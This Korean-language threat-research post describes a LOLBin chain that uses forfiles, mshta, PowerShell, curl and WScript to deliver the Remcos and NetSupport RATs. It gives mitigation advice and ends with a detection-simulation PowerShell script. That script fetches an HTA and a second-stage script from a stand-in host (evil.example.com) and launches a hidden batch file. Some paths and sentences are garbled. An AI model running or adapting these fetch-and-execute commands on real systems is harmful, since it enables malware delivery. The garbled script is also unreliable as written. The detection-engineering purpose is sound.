SOC Prime Bias: 중간

23 1월 2026 18:03

LOLBins을 과도하게 사용하여 RAT 페이로드를 전달할 수 있습니까?

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
LOLBins을 과도하게 사용하여 RAT 페이로드를 전달할 수 있습니까?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 Remcos 및 NetSupport Manager를 포함한 원격 액세스 도구를 검색하고 실행하기 위해 Windows 기본 유틸리티(LOLBins)를 공격적으로 악용하는 다단계 감염 체인을 개요로 설명합니다. 오퍼레이터는 forfiles, mshta, PowerShell, curl, tar, WScript 및 타겟 레지스트리 변경을 체인으로 사용하여 페이로드를 준비하고, 지속성을 설정하고, 가시성을 줄입니다. 워크플로는 또한 일상적인 관리 활동에 조용히 섞이기 위해 living-off-the-land 동작을 활용합니다. Malwarebytes는 이 활동을 식별하고 관련 IP 주소를 차단했습니다. 전반적으로 이는 광범위한 LOLBin 악용이 RAT를 신뢰성 있게 전달할 수 있다는 것을 강조합니다.

조사

연구자들은 처음으로 forfiles.exe가 mshta를 생성하여 PowerShell을 실행하여 TAR 아카이브를 포함한 PDF 디코이를 가져오는 악성 HTA를 가져오는 것을 보았습니다. 추출 후, 악성 glaxnimate.exe는 ProgramData에 조각된 구성 요소를 드롭한 후 WScript, 배치 스크립트 및 지원 파일을 사용하여 재조립하고 실행했습니다. 지속성은 악성 클라이언트 바이너리를 참조하는 HKCUEnvironment 하에 UserInitMprLogonScript 값을 생성하여 설정되었습니다.

완화

특히 forfiles, mshta, curl, tar, 확장 및 HKCUEnvironment 내부의 의심스러운 레지스트리 편집과 관련된 비정상적인 LOLBin 실행을 모니터링하십시오. 응용 프로그램 화이트리스트를 시행하고, 포괄적인 PowerShell 로깅을 활성화하며, Scripting Data에서의 스크립트 실행을 방지하여 스테이징을 제한하십시오. 미지의 IP에 대한 비정상적인 아웃바운드 HTTP를 차단하고 초기 다운로드 시도를 차단하기 위해 URL 필터링을 적용하십시오.

대응

탐지될 경우, 호스트를 격리하고 전체 명령 줄 원격 측정을 캡처하며 해시 분석을 위한 드롭된 아티팩트를 수집하십시오. 악성 레지스트리 항목을 제거하고 ProgramData에 생성된 파일을 정리하십시오. 현재의 AV 서명을 사용하여 엔드포인트 스캔을 실행하고 공격자의 IP 주소 및 관련 도메인에 대한 네트워크 수준 차단을 구현하십시오.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[“<b>기법</b> – T1218.005: Mshta.exe<br/><b>설명</b> forfiles.exe 를 사용하여 mshta 를 실행하고 HTA 를 다운로드”] class initial_access technique process_mshta[“<b>프로세스</b>: mshta.exe<br/><b>동작</b> 원격 HTA 실행”] class process_mshta process download_htapayload[“<b>동작</b> – HTA 다운로드<br/><b>도구</b> mshta”] class download_htapayload action cmd_execution[“<b>기법</b> – T1059.003: Windows 명령 셸<br/><b>설명</b> HTA 가 cmd.exe 시작”] class cmd_execution technique powershell_one_liner[“<b>기법</b> – T1059.001: PowerShell<br/><b>설명</b> One-liner 가 PDF 로 페이로드를 다운로드하고 tar 로 추출 후 glaxnimate.exe 실행”] class powershell_one_liner technique local_staging[“<b>기법</b> – T1074.001: 로컬 스테이징<br/><b>설명</b> ProgramData 에 .PART 파일 생성”] class local_staging technique vbscript_execution[“<b>기법</b> – T1059.005: Visual Basic<br/><b>설명</b> wscript.exe 가 processor.vbs 실행, 숨김 cmd 로 patcher.bat 실행”] class vbscript_execution technique archive_extraction[“<b>기법</b> – T1560.001: 아카이브 추출<br/><b>설명</b> expand 가 setup.cab 추출, NetSupport RAT 포함”] class archive_extraction technique persistence[“<b>기법</b> – T1547.014: 레지스트리 Run 키 / 시작 폴더<br/><b>설명</b> HKCU\\Environment\\UserInitMprLogonScript 를 client32.exe 로 설정”] class persistence technique client32[“<b>멀웨어</b> client32.exe<br/><b>목적</b> 로그인 시 실행”] class client32 malware glaxnimate[“<b>멀웨어</b> 트로이 glaxnimate.exe<br/><b>목적</b> 악성 페이로드 실행”] class glaxnimate malware netsupport[“<b>멀웨어</b> NetSupport RAT<br/><b>목적</b> 원격 접근 페이로드”] class netsupport malware %% Connections initial_access –>|사용| process_mshta process_mshta –>|다운로드| download_htapayload download_htapayload –>|실행| cmd_execution cmd_execution –>|트리거| powershell_one_liner powershell_one_liner –>|파일 스테이징| local_staging local_staging –>|실행| vbscript_execution vbscript_execution –>|추출| archive_extraction archive_extraction –>|설치| glaxnimate glaxnimate –>|설치| netsupport netsupport –>|연결됨| persistence persistence –>|실행| client32

공격 흐름

시뮬레이션 실행

전제조건: 원격 측량 및 기준점 사전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 테크닉(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 발견된 TTP를 직접 반영해야 하며 탐지 논리에서 예상되는 정확한 원격 측량을 생성하는 것을 목표로 해야 합니다.

  • 공격 서사 및 명령어:
    레드 팀 운용자는 Remcos RAT를 다운로드하지 않고 LOLBin 체인을 사용하여 배포하려고 합니다.

    1. 발견 및 스테이징: Use forfiles.exe 대상 디렉토리를 찾고 실행합니다. mshta HTA 페이로드를 호스팅하는 악성 URL과 함께.
    2. 파일 없는 PowerShell 다운로드: Invoke powershell.exe 명령을 사용하여 -NoProfile -Command curl 두 번째 스테이지 스크립트를 C2 서버에서 가져옵니다.
    3. VBScript 실행: 조작된 processor.vbs via WScript.exe 를 배포하여 RAT 바이너리를 %ProgramData%.
    4. 에 씁니다. 숨겨진 배치 드로퍼:숨겨진 배치 파일(숨겨진 배치 파일( )을 )을 를 통해IWshShell3.Run으로 호출하여 지속성을 완료합니다. .

    각 단계는 Sigma 선택 중 하나에 매칭되는 고유한 프로세스 생성 이벤트를 생성하여 규칙이 실행되도록 합니다.

  • 회귀 테스트 스크립트:
    아래의 스크립트는 실험실에서 네 가지 선택을 재현합니다. 나중에 확인할 수 있도록 각 명령을 임시 파일에 기록합니다.

    #-------------------------------------------------
    # LOLBin Abuse Simulation – triggers Sigma rule
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl download
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log
  • 정리 명령어:
    아티팩트를 제거하여 호스트를 깨끗한 상태로 복원합니다.

    # Cleanup LOLBin simulation artifacts
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Cleanup completed."